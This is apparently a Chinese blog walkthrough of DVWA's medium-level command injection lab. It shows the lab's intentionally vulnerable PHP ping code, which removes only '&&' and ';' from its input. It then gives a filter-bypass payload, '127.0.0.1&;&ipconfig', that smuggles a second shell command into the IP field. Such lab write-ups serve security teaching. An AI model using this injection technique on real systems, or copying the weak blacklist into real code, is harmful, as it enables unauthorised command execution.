DVWA-Command Injection(Medium)

Command Injection(Medium)

代碼分析

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
	// Get input
	$target = $_REQUEST[ 'ip' ];

	// Set blacklist
	$substitutions = array(
		'&&' => '',
		';'  => '',
	);

	// Remove any of the charactars in the array (blacklist).
	$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

	// Determine OS and execute the ping command.
	if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
		// Windows
		$cmd = shell_exec( 'ping  ' . $target );
	}
	else {
		// *nix
		$cmd = shell_exec( 'ping  -c 4 ' . $target );
	}

	// Feedback for the end user
	$html .= "<pre>{$cmd}</pre>";
}

?>

相比Low級別的代碼,服務器端對ip參數做了一定過濾,即把”&&” 、”;”刪除。把”&&” 、”;”替換爲空字符。


$substitutions = array(
		'&&' => '',
		';'  => '',
	);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

漏洞利用

需要注意

表達式 描述
1&&2 1執行成功,2纔會執行
1&2 2必執行

在這裏插入圖片描述
因此此處可以採用
127.0.0.1&;&ipconfig繞過黑名單限制
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章